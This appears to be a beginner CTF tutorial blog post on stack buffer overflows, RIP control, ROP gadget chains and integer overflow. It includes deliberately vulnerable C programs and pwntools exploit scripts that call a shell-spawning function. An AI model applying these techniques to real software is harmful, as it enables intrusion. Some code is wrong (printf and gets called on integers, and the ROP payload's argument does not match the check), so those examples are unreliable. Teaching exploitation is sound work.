This is the part two of simple pwning lecture series. The target of this series is to get started with pwning from the very basics to some advanced attack. We will be trying challenges from different CTFs as well to get familiar with the different exploitation vectors. In this lecture we will breifly try to understand how out code works and how can we get started with pwning.
Buffer Overflow
Basic buffer overflow
Starting with the simpleset and one of the most common attack a couple of decades ago is buffer overflow. This attack is going to serve as the base for the upcoming techniques that we are going to learn.
So what is buffer overflow? A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. eg.
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
char buffer[40] = {"a"};
int a = 0x1;
int main(){
printf("Whats your name?\n");
gets(buffer);
if(a==0xdeadbeef){
printf("You did it.\n");
}
return 0;
}
If you compile the above code using the following command then you will get what would be a simple buffer overflow exploit
1
gcc chal.c -o chal -fno-stack-protector -static
RIP control using buffer overflow
In case of variables stored on the stack we overflow the program stack and thus we can also overwrite the various registers that are present on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
void win(){
printf("You win\n");
}
void vuln(){
char buffer[40];
printf("Whats your name?\n");
gets(buffer);
}
int main(){
vuln();
}
In this case we will analyse the program using gef
. Lets us generate a pattern and give it as an input to the program to find the offset. To generate the pattern you can use the following command
1
pattern create (pattern length)
We will generate a pattern of length 100 and after giving it as input to the program we get the following result
As we can see we have overwritten the value of various registers and our program has given us segmentation fault
. It is because we have overwritten the value of RIP
register. We can find the exact offset of RIP
register using the pattern offset
command. The value of RIP
register is stored after the RBP
register, so we will find the offset to the RBP
register and add 8 (size of register in x64
architecture) to it in order to get the offset of RIP
register.
1
pattern offset $rbp
We will get 2 values. From this we will choose the little-endian value as it is the architecture of the given challenge and add 8 to it. Using pwntools
we can do the scripting to send the payload we want.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
elf = context.binary = ELF("./chal",checksec=False) # Loads the ELF file
p = elf.process() # Starts the process
gdb.attach(p,'''
init-gef
''') # Attaches gdb so we can dynamically debug the challenge
offset = 48+8
payload = b"a"*offset + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
As we can see we have sucessfully overwritten the value of RIP
register. If we set the content of RIP
register equal to the address of the win
function then, it will be called. You can manually find the address of the win
function using the command
1
objdump -d (file name) | grep (function name)
We can alse use pwntools
to calculate the address. We can do it by using elf.sym
. If we want the address of the win
function then we can do
1
addr = elf.sym.win
This way we will get the address of the function. You can try to write the exploit for this challenge yourself.
Return Oriented Programming
In the above case we saw how we can all the function but many time we may need to provide correct arguments to the functions as well.
Eg.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
void win(int param1){
if(param1 == 0xdead){
system("/bin/sh");
}
}
void vuln(){
char buffer[40];
printf("Whats your name?\n");
gets(buffer);
}
int main(){
vuln();
}
In the above case even if we somehow call the win
function we might not get shell as the value of param1
might be different. In order to set the value of the parameters we need Return Oriented Programming(ROP). To set the parameters of the function we need to find the calling convention.
In this case, we are using x64
linux system. In x64
calling convention, the first argument goes into the RDI
register, second argument in the RSI
register and so on. To set the value of these registers we will use various ropgadgets that are available.
What are ROPgadets?
ROP gadgets, short for "Return-Oriented Programming gadgets" are small pieces of code within a program's memory that can be used by attackers to construct an exploit that bypasses existing security measures. They are used in advanced exploitation techniques, such as return-oriented programming, to bypass memory protections like `NX`. A ROP gadget is typically a small sequence of machine code that ends with a `ret` instruction, allowing the attacker to chain these gadgets together by manipulating the return addresses on the stack.To find the ropgadgets in a binary you can use ROPgadget or ropper. I will be using ROPgadget
but you can usue any tool that you want.
Writing the exploit
To dump the gadgets using ROPgadgets
you can use the following command
1
ROPgadget --binary ./(file_name)
In the various gadgets that are given to us we will mainly be looking for pop
gadgets. These tyoe of gadget will pop the value from top of the stack into the respective registers. Eg. The gadget pop rdi; ret
will pop the value on top of the stack into the RDI
register. Ideally we want to find simple gadgets like pop rsi; ret
but sometimes they may not be available. In that case we may need to use complex gadgets like ` pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret in order to control the contents of
RBP` register.
We can also chain various gadgets one after another to control the registers and set the exploit. Also we need to take care of the fact that the stack is properly alligned. In case if the stack is not properly alligned we may get error even if our exploit is correct. In such case we can add another simple ret
gadget to allign the stack call the required function.
Eg:
1
2
3
4
5
6
ret = 0x000000000040101a
rdi = 0x0000000000401ebf
payload1 = b"a" *offset + p64(rdi) + p64(0xdeadbeef) + p64(elf.sym.win) #Assume this is not correctly alligned
payload2 = b"a" *offset + p64(ret) + p64(rdi) + p64(0xdeadbeef) + p64(elf.sym.win)
p.sendline(payload2)
You can try to exploit the above challenge on your own in order to get idea of the exploitation vector.
Integer Underflow / Overflow
Integer Underflow
Integer underflow occurs when a mathematical operation causes an integer variable to become smaller than its minimum representable value, resulting in unexpected behavior or vulnerability. This can happen when a program tries to subtract a larger value from a smaller value, causing the integer variable to wrap around and become a very large positive number or even a negative number, depending on the type of integer used.
Eg.
1
2
3
4
5
6
7
#include <stdio.h>
int main(){
unsigned int a = 0;
a = -1;
printf(a);
}
In this case we will get a very large integer value. Also a similar case might occur if we try to input negative number to unsigned integer.
1
2
3
4
5
6
7
#include <stdio.h>
int main(){
unsigned int a;
gets(a);
printf(a);
}
In case if we give input as -1
then we might also get an integer underflow.
Integer Overflow
Integer overflows occur when a mathematical operation causes an integer variable to become larger than its maximum representable value, resulting in unexpected behavior or vulnerability. This can happen when a program tries to add or multiply two large values, causing the integer variable to “wrap around” and become a very small or negative number, depending on the type of integer used.
Eg.
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int a = __INT_MAX__ ;
int main(int argc, char const *argv[])
{
a++;
printf(a);
return 0;
}
In this case the value of a
will become negative. This is due to integer overflow.
References
Article 1 : https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame
Article 2 : https://www.geeksforgeeks.org/how-the-negative-numbers-are-stored-in-memory
Article 3 : https://www.scaler.com/topics/c/overflow-and-underflow-in-c